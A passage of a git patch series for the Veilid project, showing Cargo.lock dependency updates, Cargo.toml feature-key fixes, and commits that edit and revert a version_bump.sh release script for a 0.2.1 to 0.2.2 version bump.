-checksum = "1a143597ca7c7793eff794def352d41792a93c481eb1042423ff7ff72ba2c31f" - [[package]] name = "wasi" version = "0.11.0+wasi-snapshot-preview1" @@ -5982,7 +5973,7 @@ dependencies = [ "once_cell", "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", "wasm-bindgen-shared", ] @@ -6016,7 +6007,7 @@ checksum = "54681b18a46765f095758388f2d0cf16eb8d4169b639ab575a8f5693af210c7b" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", "wasm-bindgen-backend", "wasm-bindgen-shared", ] @@ -6134,13 +6125,14 @@ dependencies = [ [[package]] name = "which" -version = "4.4.0" +version = "4.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2441c784c52b289a054b7201fc93253e288f094e2f4be9058343127c4226a269" +checksum = "87ba24419a2078cd2b0f2ede2691b6c66d8e47836da3b6db8265ebad47afbfc7" dependencies = [ "either", - "libc", + "home", "once_cell", + "rustix 0.38.13", ] [[package]] @@ -6456,9 +6448,9 @@ checksum = "a67300977d3dc3f8034dae89778f502b6ba20b269527b3223ba59c0cf393bb8a" [[package]] name = "xml-rs" -version = "0.8.16" +version = "0.8.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "47430998a7b5d499ccee752b41567bc3afc57e1327dc855b1a2aa44ce29b5fa1" +checksum = "bab77e97b50aee93da431f2cee7cd0f43b4d1da3c408042f2d7d164187774f0a" [[package]] name = "xmltree" @@ -6530,7 +6522,7 @@ checksum = "ce36e65b0d2999d2aafac989fb249189a141aee1f53c612c1f37d72631959f69" dependencies = [ "proc-macro2", "quote", - "syn 2.0.31", + "syn 2.0.35", ] [[package]] diff --git a/veilid-core/Cargo.toml b/veilid-core/Cargo.toml index 18492796..c4d5d338 100644 --- a/veilid-core/Cargo.toml +++ b/veilid-core/Cargo.toml @@ -92,7 +92,7 @@ hashlink = { package = "veilid-hashlink", version = "0.1.0", features = [ ] } # System -futures-util = { version = "0.3.28", default_features = false, features = [ +futures-util = { version = "0.3.28", default-features = false, features = [ "alloc", ] } flume = { version = "0.11.0", features = ["async"] } @@ -101,19 +101,19 @@ lock_api = "0.4.10" stop-token = { version = "0.7.0", default-features = false } # Crypto -ed25519-dalek = { version = "2.0.0", default_features = false, features = [ +ed25519-dalek = { version = "2.0.0", default-features = false, features = [ "alloc", "rand_core", "digest", "zeroize", ] } -x25519-dalek = { version = "2.0.0", default_features = false, features = [ +x25519-dalek = { version = "2.0.0", default-features = false, features = [ "alloc", "static_secrets", "zeroize", "precomputed-tables", ] } -curve25519-dalek = { version = "4.0.0", default_features = false, features = [ +curve25519-dalek = { version = "4.0.0", default-features = false, features = [ "alloc", "zeroize", "precomputed-tables", @@ -129,7 +129,7 @@ trust-dns-resolver = { version = "0.22.0", optional = true } enum-as-inner = "=0.5.1" # temporary fix for trust-dns-resolver v0.22.0 # Serialization -capnp = { version = "0.18.1", default_features = false } +capnp = { version = "0.18.1", default-features = false } serde = { version = "1.0.183", features = ["derive"] } serde_json = { version = "1.0.105" } serde-big-array = "0.5.1" diff --git a/veilid-flutter/rust/Cargo.toml b/veilid-flutter/rust/Cargo.toml index 5cdfcdc3..df806257 100644 --- a/veilid-flutter/rust/Cargo.toml +++ b/veilid-flutter/rust/Cargo.toml @@ -38,7 +38,7 @@ parking_lot = "^0" backtrace = "^0" serde_json = "^1" serde = "^1" -futures-util = { version = "^0", default_features = false, features = [ +futures-util = { version = "^0", default-features = false, features = [ "alloc", ] } cfg-if = "^1" diff --git a/veilid-server/Cargo.toml b/veilid-server/Cargo.toml index e579f8ee..66ea0b0c 100644 --- a/veilid-server/Cargo.toml +++ b/veilid-server/Cargo.toml @@ -61,7 +61,7 @@ serde = "^1" serde_derive = "^1" serde_yaml = "^0" json = "^0" -futures-util = { version = "^0", default_features = false, features = [ +futures-util = { version = "^0", default-features = false, features = [ "alloc", ] } url = "^2" diff --git a/veilid-tools/Cargo.toml b/veilid-tools/Cargo.toml index 2778aa8c..e9333b9e 100644 --- a/veilid-tools/Cargo.toml +++ b/veilid-tools/Cargo.toml @@ -41,7 +41,7 @@ eyre = "0.6.8" static_assertions = "1.1.0" cfg-if = "1.0.0" thiserror = "1.0.47" -futures-util = { version = "0.3.28", default_features = false, features = [ +futures-util = { version = "0.3.28", default-features = false, features = [ "alloc", ] } parking_lot = "0.12.1" From e7f581e6c30c43d92a53bc91ea1e3b1f89060e71 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sat, 16 Sep 2023 14:02:35 -0400 Subject: [PATCH 31/47] bumpversion changes --- version_bump.sh | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/version_bump.sh b/version_bump.sh index ff8062c6..2166527e 100755 --- a/version_bump.sh +++ b/version_bump.sh @@ -1,4 +1,6 @@ #!/bin/bash + +# Fail out if any step has an error set -e if [ "$1" == "patch" ]; then @@ -15,5 +17,16 @@ else exit 1 fi +# Change version of crates and packages everywhere bumpversion $PART + +# Get the new version we bumped to +NEW_VERSION=$(cat .bumpversion.cfg | grep current_version\ = | cut -d\ -f3) +echo NEW_VERSION=$NEW_VERSION + +# Update crate dependencies for the crates we publish +cargo upgrade veilid-tools@$NEW_VERSION +cargo upgrade veilid-core@$NEW_VERSION + +# Update lockfile cargo update \ No newline at end of file From ba72aa9dd3c1137b522e0415a8f4d2114a1e81aa Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sat, 16 Sep 2023 14:03:21 -0400 Subject: [PATCH 32/47] version bump fix --- .bumpversion.cfg | 2 +- Cargo.lock | 114 ++++++++++++++++++++++----------- veilid-cli/Cargo.toml | 2 +- veilid-core/Cargo.toml | 2 +- veilid-flutter/pubspec.yaml | 2 +- veilid-flutter/rust/Cargo.toml | 2 +- veilid-python/pyproject.toml | 2 +- veilid-server/Cargo.toml | 2 +- veilid-tools/Cargo.toml | 2 +- veilid-wasm/Cargo.toml | 2 +- version_bump.sh | 4 +- 11 files changed, 89 insertions(+), 47 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index 824c0b03..89f06175 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 0.2.1 +current_version = 0.2.2 [bumpversion:file:veilid-server/Cargo.toml] search = name = "veilid-server" diff --git a/Cargo.lock b/Cargo.lock index 4ad66551..45843680 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -439,6 +439,18 @@ version = "4.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ecc7ab41815b3c653ccd2978ec3255c81349336702dfdf62ee6f7069b12a3aae" +[[package]] +name = "async-tls" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7e7fbc0843fc5ad3d5ca889c5b2bea9130984d34cd0e62db57ab70c2529a8e3" +dependencies = [ + "futures", + "rustls 0.18.1", + "webpki 0.21.4", + "webpki-roots 0.20.0", +] + [[package]] name = "async-tls" version = "0.12.0" @@ -447,9 +459,9 @@ checksum = "cfeefd0ca297cbbb3bd34fd6b228401c2a5177038257afd751bc29f0a2da4795" dependencies = [ "futures-core", "futures-io", - "rustls", + "rustls 0.20.9", "rustls-pemfile", - "webpki", + "webpki 0.22.1", "webpki-roots 0.22.6", ] @@ -470,6 +482,7 @@ version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a5c45a0dd44b7e6533ac4e7acc38ead1a3b39885f5bbb738140d30ea528abc7c" dependencies = [ + "async-tls 0.9.0", "futures-io", "futures-util", "log", @@ -483,7 +496,7 @@ version = "0.23.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a1e9efbe14612da0a19fb983059a0b621e9cf6225d7018ecab4f9988215540dc" dependencies = [ - "async-tls", + "async-tls 0.12.0", "futures-io", "futures-util", "log", @@ -2157,19 +2170,6 @@ dependencies = [ "web-sys", ] -[[package]] -name = "gloo-utils" -version = "0.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0b5555354113b18c547c1d3a98fbf7fb32a9ff4f6fa112ce823a21641a0ba3aa" -dependencies = [ - "js-sys", - "serde", - "serde_json", - "wasm-bindgen", - "web-sys", -] - [[package]] name = "grpcio" version = "0.9.1" @@ -4218,6 +4218,19 @@ dependencies = [ "windows-sys 0.48.0", ] +[[package]] +name = "rustls" +version = "0.18.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d1126dcf58e93cee7d098dbda643b5f92ed724f1f6a63007c1116eed6700c81" +dependencies = [ + "base64 0.12.3", + "log", + "ring", + "sct 0.6.1", + "webpki 0.21.4", +] + [[package]] name = "rustls" version = "0.20.9" @@ -4226,8 +4239,8 @@ checksum = "1b80e3dec595989ea8510028f30c408a4630db12c9cbb8de34203b89d6577e99" dependencies = [ "log", "ring", - "sct", - "webpki", + "sct 0.7.0", + "webpki 0.22.1", ] [[package]] @@ -4296,6 +4309,16 @@ version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" +[[package]] +name = "sct" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b362b83898e0e69f38515b82ee15aa80636befe47c3b6d3d89a911e78fc228ce" +dependencies = [ + "ring", + "untrusted", +] + [[package]] name = "sct" version = "0.7.0" @@ -5394,7 +5417,7 @@ version = "0.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d6b26cf145f2f3b9ff84e182c448eaf05468e247f148cf3d2a7d67d78ff023a0" dependencies = [ - "gloo-utils 0.1.7", + "gloo-utils", "serde", "serde-wasm-bindgen", "serde_json", @@ -5580,7 +5603,7 @@ checksum = "a9ee584edf237fac328b891dd06c21e7914a1db3762907edc366a13803451fe3" [[package]] name = "veilid-cli" -version = "0.2.1" +version = "0.2.2" dependencies = [ "arboard", "async-std", @@ -5602,7 +5625,7 @@ dependencies = [ "indent", "json", "log", - "parking_lot 0.12.1", + "parking_lot 0.11.2", "serde", "serde_derive", "serial_test 0.10.0", @@ -5616,14 +5639,14 @@ dependencies = [ [[package]] name = "veilid-core" -version = "0.2.1" +version = "0.2.2" dependencies = [ "argon2", "async-io", "async-lock", "async-std", "async-std-resolver", - "async-tls", + "async-tls 0.12.0", "async-tungstenite 0.23.0", "async_executors", "backtrace", @@ -5675,7 +5698,7 @@ dependencies = [ "range-set-blaze", "rtnetlink", "rusqlite", - "rustls", + "rustls 0.20.9", "rustls-pemfile", "schemars", "send_wrapper 0.6.0", @@ -5710,7 +5733,7 @@ dependencies = [ "wasm-logger", "weak-table", "web-sys", - "webpki", + "webpki 0.22.1", "webpki-roots 0.25.2", "wee_alloc", "winapi", @@ -5722,7 +5745,7 @@ dependencies = [ [[package]] name = "veilid-flutter" -version = "0.2.1" +version = "0.2.2" dependencies = [ "allo-isolate", "async-std", @@ -5737,7 +5760,7 @@ dependencies = [ "opentelemetry", "opentelemetry-otlp", "opentelemetry-semantic-conventions", - "parking_lot 0.12.1", + "parking_lot 0.11.2", "serde", "serde_json", "tokio", @@ -5774,11 +5797,11 @@ dependencies = [ [[package]] name = "veilid-server" -version = "0.2.1" +version = "0.2.2" dependencies = [ "ansi_term", "async-std", - "async-tungstenite 0.23.0", + "async-tungstenite 0.8.0", "backtrace", "cfg-if 1.0.0", "clap 4.4.3", @@ -5793,11 +5816,11 @@ dependencies = [ "hostname", "json", "lazy_static", - "nix 0.27.1", + "nix 0.22.3", "opentelemetry", "opentelemetry-otlp", "opentelemetry-semantic-conventions", - "parking_lot 0.12.1", + "parking_lot 0.11.2", "rpassword", "serde", "serde_derive", @@ -5824,7 +5847,7 @@ dependencies = [ [[package]] name = "veilid-tools" -version = "0.2.1" +version = "0.2.2" dependencies = [ "android_logger 0.13.3", "async-lock", @@ -5876,17 +5899,17 @@ dependencies = [ [[package]] name = "veilid-wasm" -version = "0.2.1" +version = "0.2.2" dependencies = [ "cfg-if 1.0.0", "console_error_panic_hook", "data-encoding", "futures-util", - "gloo-utils 0.2.0", + "gloo-utils", "js-sys", "lazy_static", "parking_lot 0.12.1", - "send_wrapper 0.6.0", + "send_wrapper 0.4.0", "serde", "serde-wasm-bindgen", "serde_json", @@ -6069,6 +6092,16 @@ dependencies = [ "wasm-bindgen", ] +[[package]] +name = "webpki" +version = "0.21.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8e38c0608262c46d4a56202ebabdeb094cef7e560ca7a226c6bf055188aa4ea" +dependencies = [ + "ring", + "untrusted", +] + [[package]] name = "webpki" version = "0.22.1" @@ -6079,13 +6112,22 @@ dependencies = [ "untrusted", ] +[[package]] +name = "webpki-roots" +version = "0.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f20dea7535251981a9670857150d571846545088359b28e4951d350bdaf179f" +dependencies = [ + "webpki 0.21.4", +] + [[package]] name = "webpki-roots" version = "0.22.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b6c71e40d7d2c34a5106301fb632274ca37242cd0c9d3e64dbece371a40a2d87" dependencies = [ - "webpki", + "webpki 0.22.1", ] [[package]] diff --git a/veilid-cli/Cargo.toml b/veilid-cli/Cargo.toml index a3b39d02..71ae433a 100644 --- a/veilid-cli/Cargo.toml +++ b/veilid-cli/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-cli" -version = "0.2.1" +version = "0.2.2" # --- authors = ["Veilid Team "] edition = "2021" diff --git a/veilid-core/Cargo.toml b/veilid-core/Cargo.toml index c4d5d338..f5d7cf00 100644 --- a/veilid-core/Cargo.toml +++ b/veilid-core/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-core" -version = "0.2.1" +version = "0.2.2" # --- description = "Core library used to create a Veilid node and operate it as part of an application" authors = ["Veilid Team "] diff --git a/veilid-flutter/pubspec.yaml b/veilid-flutter/pubspec.yaml index afda391d..edaf48c6 100644 --- a/veilid-flutter/pubspec.yaml +++ b/veilid-flutter/pubspec.yaml @@ -1,6 +1,6 @@ # --- Bumpversion match - do not reorder name: veilid -version: 0.2.1 +version: 0.2.2 # --- description: Veilid Framework homepage: https://veilid.com diff --git a/veilid-flutter/rust/Cargo.toml b/veilid-flutter/rust/Cargo.toml index df806257..821e7978 100644 --- a/veilid-flutter/rust/Cargo.toml +++ b/veilid-flutter/rust/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-flutter" -version = "0.2.1" +version = "0.2.2" # --- authors = ["Veilid Team "] license = "MPL-2.0" diff --git a/veilid-python/pyproject.toml b/veilid-python/pyproject.toml index 19a71176..a6a96c53 100644 --- a/veilid-python/pyproject.toml +++ b/veilid-python/pyproject.toml @@ -1,7 +1,7 @@ [tool.poetry] # --- Bumpversion match - do not reorder name = "veilid" -version = "0.2.1" +version = "0.2.2" # --- description = "" authors = ["Veilid Team "] diff --git a/veilid-server/Cargo.toml b/veilid-server/Cargo.toml index 66ea0b0c..028b289e 100644 --- a/veilid-server/Cargo.toml +++ b/veilid-server/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-server" -version = "0.2.1" +version = "0.2.2" # --- description = "Veilid Server" authors = ["Veilid Team "] diff --git a/veilid-tools/Cargo.toml b/veilid-tools/Cargo.toml index e9333b9e..726826a1 100644 --- a/veilid-tools/Cargo.toml +++ b/veilid-tools/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-tools" -version = "0.2.1" +version = "0.2.2" # --- description = "A collection of baseline tools for Rust development use by Veilid and Veilid-enabled Rust applications" authors = ["Veilid Team "] diff --git a/veilid-wasm/Cargo.toml b/veilid-wasm/Cargo.toml index 2abb4c45..c4acf2bd 100644 --- a/veilid-wasm/Cargo.toml +++ b/veilid-wasm/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-wasm" -version = "0.2.1" +version = "0.2.2" # --- authors = ["Veilid Team "] license = "MPL-2.0" diff --git a/version_bump.sh b/version_bump.sh index 2166527e..58bd228f 100755 --- a/version_bump.sh +++ b/version_bump.sh @@ -25,8 +25,8 @@ NEW_VERSION=$(cat .bumpversion.cfg | grep current_version\ = | cut -d\ -f3) echo NEW_VERSION=$NEW_VERSION # Update crate dependencies for the crates we publish -cargo upgrade veilid-tools@$NEW_VERSION -cargo upgrade veilid-core@$NEW_VERSION +cargo upgrade -p veilid-tools@$NEW_VERSION +cargo upgrade -p veilid-core@$NEW_VERSION # Update lockfile cargo update \ No newline at end of file From 960a4cb9649ea445dc8842b6d15323c226aa3eb9 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sat, 16 Sep 2023 14:04:36 -0400 Subject: [PATCH 33/47] Revert "version bump fix" This reverts commit 2d291b86b64542845bc10c092e8ad6a78e8b85df. --- .bumpversion.cfg | 2 +- Cargo.lock | 114 +++++++++++---------------------- veilid-cli/Cargo.toml | 2 +- veilid-core/Cargo.toml | 2 +- veilid-flutter/pubspec.yaml | 2 +- veilid-flutter/rust/Cargo.toml | 2 +- veilid-python/pyproject.toml | 2 +- veilid-server/Cargo.toml | 2 +- veilid-tools/Cargo.toml | 2 +- veilid-wasm/Cargo.toml | 2 +- version_bump.sh | 4 +- 11 files changed, 47 insertions(+), 89 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index 89f06175..824c0b03 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 0.2.2 +current_version = 0.2.1 [bumpversion:file:veilid-server/Cargo.toml] search = name = "veilid-server" diff --git a/Cargo.lock b/Cargo.lock index 45843680..4ad66551 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -439,18 +439,6 @@ version = "4.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ecc7ab41815b3c653ccd2978ec3255c81349336702dfdf62ee6f7069b12a3aae" -[[package]] -name = "async-tls" -version = "0.9.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d7e7fbc0843fc5ad3d5ca889c5b2bea9130984d34cd0e62db57ab70c2529a8e3" -dependencies = [ - "futures", - "rustls 0.18.1", - "webpki 0.21.4", - "webpki-roots 0.20.0", -] - [[package]] name = "async-tls" version = "0.12.0" @@ -459,9 +447,9 @@ checksum = "cfeefd0ca297cbbb3bd34fd6b228401c2a5177038257afd751bc29f0a2da4795" dependencies = [ "futures-core", "futures-io", - "rustls 0.20.9", + "rustls", "rustls-pemfile", - "webpki 0.22.1", + "webpki", "webpki-roots 0.22.6", ] @@ -482,7 +470,6 @@ version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a5c45a0dd44b7e6533ac4e7acc38ead1a3b39885f5bbb738140d30ea528abc7c" dependencies = [ - "async-tls 0.9.0", "futures-io", "futures-util", "log", @@ -496,7 +483,7 @@ version = "0.23.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a1e9efbe14612da0a19fb983059a0b621e9cf6225d7018ecab4f9988215540dc" dependencies = [ - "async-tls 0.12.0", + "async-tls", "futures-io", "futures-util", "log", @@ -2170,6 +2157,19 @@ dependencies = [ "web-sys", ] +[[package]] +name = "gloo-utils" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b5555354113b18c547c1d3a98fbf7fb32a9ff4f6fa112ce823a21641a0ba3aa" +dependencies = [ + "js-sys", + "serde", + "serde_json", + "wasm-bindgen", + "web-sys", +] + [[package]] name = "grpcio" version = "0.9.1" @@ -4218,19 +4218,6 @@ dependencies = [ "windows-sys 0.48.0", ] -[[package]] -name = "rustls" -version = "0.18.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5d1126dcf58e93cee7d098dbda643b5f92ed724f1f6a63007c1116eed6700c81" -dependencies = [ - "base64 0.12.3", - "log", - "ring", - "sct 0.6.1", - "webpki 0.21.4", -] - [[package]] name = "rustls" version = "0.20.9" @@ -4239,8 +4226,8 @@ checksum = "1b80e3dec595989ea8510028f30c408a4630db12c9cbb8de34203b89d6577e99" dependencies = [ "log", "ring", - "sct 0.7.0", - "webpki 0.22.1", + "sct", + "webpki", ] [[package]] @@ -4309,16 +4296,6 @@ version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" -[[package]] -name = "sct" -version = "0.6.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b362b83898e0e69f38515b82ee15aa80636befe47c3b6d3d89a911e78fc228ce" -dependencies = [ - "ring", - "untrusted", -] - [[package]] name = "sct" version = "0.7.0" @@ -5417,7 +5394,7 @@ version = "0.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d6b26cf145f2f3b9ff84e182c448eaf05468e247f148cf3d2a7d67d78ff023a0" dependencies = [ - "gloo-utils", + "gloo-utils 0.1.7", "serde", "serde-wasm-bindgen", "serde_json", @@ -5603,7 +5580,7 @@ checksum = "a9ee584edf237fac328b891dd06c21e7914a1db3762907edc366a13803451fe3" [[package]] name = "veilid-cli" -version = "0.2.2" +version = "0.2.1" dependencies = [ "arboard", "async-std", @@ -5625,7 +5602,7 @@ dependencies = [ "indent", "json", "log", - "parking_lot 0.11.2", + "parking_lot 0.12.1", "serde", "serde_derive", "serial_test 0.10.0", @@ -5639,14 +5616,14 @@ dependencies = [ [[package]] name = "veilid-core" -version = "0.2.2" +version = "0.2.1" dependencies = [ "argon2", "async-io", "async-lock", "async-std", "async-std-resolver", - "async-tls 0.12.0", + "async-tls", "async-tungstenite 0.23.0", "async_executors", "backtrace", @@ -5698,7 +5675,7 @@ dependencies = [ "range-set-blaze", "rtnetlink", "rusqlite", - "rustls 0.20.9", + "rustls", "rustls-pemfile", "schemars", "send_wrapper 0.6.0", @@ -5733,7 +5710,7 @@ dependencies = [ "wasm-logger", "weak-table", "web-sys", - "webpki 0.22.1", + "webpki", "webpki-roots 0.25.2", "wee_alloc", "winapi", @@ -5745,7 +5722,7 @@ dependencies = [ [[package]] name = "veilid-flutter" -version = "0.2.2" +version = "0.2.1" dependencies = [ "allo-isolate", "async-std", @@ -5760,7 +5737,7 @@ dependencies = [ "opentelemetry", "opentelemetry-otlp", "opentelemetry-semantic-conventions", - "parking_lot 0.11.2", + "parking_lot 0.12.1", "serde", "serde_json", "tokio", @@ -5797,11 +5774,11 @@ dependencies = [ [[package]] name = "veilid-server" -version = "0.2.2" +version = "0.2.1" dependencies = [ "ansi_term", "async-std", - "async-tungstenite 0.8.0", + "async-tungstenite 0.23.0", "backtrace", "cfg-if 1.0.0", "clap 4.4.3", @@ -5816,11 +5793,11 @@ dependencies = [ "hostname", "json", "lazy_static", - "nix 0.22.3", + "nix 0.27.1", "opentelemetry", "opentelemetry-otlp", "opentelemetry-semantic-conventions", - "parking_lot 0.11.2", + "parking_lot 0.12.1", "rpassword", "serde", "serde_derive", @@ -5847,7 +5824,7 @@ dependencies = [ [[package]] name = "veilid-tools" -version = "0.2.2" +version = "0.2.1" dependencies = [ "android_logger 0.13.3", "async-lock", @@ -5899,17 +5876,17 @@ dependencies = [ [[package]] name = "veilid-wasm" -version = "0.2.2" +version = "0.2.1" dependencies = [ "cfg-if 1.0.0", "console_error_panic_hook", "data-encoding", "futures-util", - "gloo-utils", + "gloo-utils 0.2.0", "js-sys", "lazy_static", "parking_lot 0.12.1", - "send_wrapper 0.4.0", + "send_wrapper 0.6.0", "serde", "serde-wasm-bindgen", "serde_json", @@ -6092,16 +6069,6 @@ dependencies = [ "wasm-bindgen", ] -[[package]] -name = "webpki" -version = "0.21.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b8e38c0608262c46d4a56202ebabdeb094cef7e560ca7a226c6bf055188aa4ea" -dependencies = [ - "ring", - "untrusted", -] - [[package]] name = "webpki" version = "0.22.1" @@ -6112,22 +6079,13 @@ dependencies = [ "untrusted", ] -[[package]] -name = "webpki-roots" -version = "0.20.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0f20dea7535251981a9670857150d571846545088359b28e4951d350bdaf179f" -dependencies = [ - "webpki 0.21.4", -] - [[package]] name = "webpki-roots" version = "0.22.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b6c71e40d7d2c34a5106301fb632274ca37242cd0c9d3e64dbece371a40a2d87" dependencies = [ - "webpki 0.22.1", + "webpki", ] [[package]] diff --git a/veilid-cli/Cargo.toml b/veilid-cli/Cargo.toml index 71ae433a..a3b39d02 100644 --- a/veilid-cli/Cargo.toml +++ b/veilid-cli/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-cli" -version = "0.2.2" +version = "0.2.1" # --- authors = ["Veilid Team "] edition = "2021" diff --git a/veilid-core/Cargo.toml b/veilid-core/Cargo.toml index f5d7cf00..c4d5d338 100644 --- a/veilid-core/Cargo.toml +++ b/veilid-core/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-core" -version = "0.2.2" +version = "0.2.1" # --- description = "Core library used to create a Veilid node and operate it as part of an application" authors = ["Veilid Team "] diff --git a/veilid-flutter/pubspec.yaml b/veilid-flutter/pubspec.yaml index edaf48c6..afda391d 100644 --- a/veilid-flutter/pubspec.yaml +++ b/veilid-flutter/pubspec.yaml @@ -1,6 +1,6 @@ # --- Bumpversion match - do not reorder name: veilid -version: 0.2.2 +version: 0.2.1 # --- description: Veilid Framework homepage: https://veilid.com diff --git a/veilid-flutter/rust/Cargo.toml b/veilid-flutter/rust/Cargo.toml index 821e7978..df806257 100644 --- a/veilid-flutter/rust/Cargo.toml +++ b/veilid-flutter/rust/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-flutter" -version = "0.2.2" +version = "0.2.1" # --- authors = ["Veilid Team "] license = "MPL-2.0" diff --git a/veilid-python/pyproject.toml b/veilid-python/pyproject.toml index a6a96c53..19a71176 100644 --- a/veilid-python/pyproject.toml +++ b/veilid-python/pyproject.toml @@ -1,7 +1,7 @@ [tool.poetry] # --- Bumpversion match - do not reorder name = "veilid" -version = "0.2.2" +version = "0.2.1" # --- description = "" authors = ["Veilid Team "] diff --git a/veilid-server/Cargo.toml b/veilid-server/Cargo.toml index 028b289e..66ea0b0c 100644 --- a/veilid-server/Cargo.toml +++ b/veilid-server/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-server" -version = "0.2.2" +version = "0.2.1" # --- description = "Veilid Server" authors = ["Veilid Team "] diff --git a/veilid-tools/Cargo.toml b/veilid-tools/Cargo.toml index 726826a1..e9333b9e 100644 --- a/veilid-tools/Cargo.toml +++ b/veilid-tools/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-tools" -version = "0.2.2" +version = "0.2.1" # --- description = "A collection of baseline tools for Rust development use by Veilid and Veilid-enabled Rust applications" authors = ["Veilid Team "] diff --git a/veilid-wasm/Cargo.toml b/veilid-wasm/Cargo.toml index c4acf2bd..2abb4c45 100644 --- a/veilid-wasm/Cargo.toml +++ b/veilid-wasm/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-wasm" -version = "0.2.2" +version = "0.2.1" # --- authors = ["Veilid Team "] license = "MPL-2.0" diff --git a/version_bump.sh b/version_bump.sh index 58bd228f..2166527e 100755 --- a/version_bump.sh +++ b/version_bump.sh @@ -25,8 +25,8 @@ NEW_VERSION=$(cat .bumpversion.cfg | grep current_version\ = | cut -d\ -f3) echo NEW_VERSION=$NEW_VERSION # Update crate dependencies for the crates we publish -cargo upgrade -p veilid-tools@$NEW_VERSION -cargo upgrade -p veilid-core@$NEW_VERSION +cargo upgrade veilid-tools@$NEW_VERSION +cargo upgrade veilid-core@$NEW_VERSION # Update lockfile cargo update \ No newline at end of file From 189862ee5ab5daa693a27a43dd9a9b6f3f3d3e11 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sat, 16 Sep 2023 14:05:06 -0400 Subject: [PATCH 34/47] version work --- version_bump.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/version_bump.sh b/version_bump.sh index 2166527e..58bd228f 100755 --- a/version_bump.sh +++ b/version_bump.sh @@ -25,8 +25,8 @@ NEW_VERSION=$(cat .bumpversion.cfg | grep current_version\ = | cut -d\ -f3) echo NEW_VERSION=$NEW_VERSION # Update crate dependencies for the crates we publish -cargo upgrade veilid-tools@$NEW_VERSION -cargo upgrade veilid-core@$NEW_VERSION +cargo upgrade -p veilid-tools@$NEW_VERSION +cargo upgrade -p veilid-core@$NEW_VERSION # Update lockfile cargo update \ No newline at end of file From d4221bff773505ef959272140f8838a5501a0217 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sat, 16 Sep 2023 14:07:21 -0400 Subject: [PATCH 35/47] simplify --- version_bump.sh | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/version_bump.sh b/version_bump.sh index 58bd228f..8299dea1 100755 --- a/version_bump.sh +++ b/version_bump.sh @@ -25,8 +25,7 @@ NEW_VERSION=$(cat .bumpversion.cfg | grep current_version\ = | cut -d\ -f3) echo NEW_VERSION=$NEW_VERSION # Update crate dependencies for the crates we publish -cargo upgrade -p veilid-tools@$NEW_VERSION -cargo upgrade -p veilid-core@$NEW_VERSION +cargo upgrade -p veilid-tools@$NEW_VERSION -p veilid-core@$NEW_VERSION # Update lockfile cargo update \ No newline at end of file From 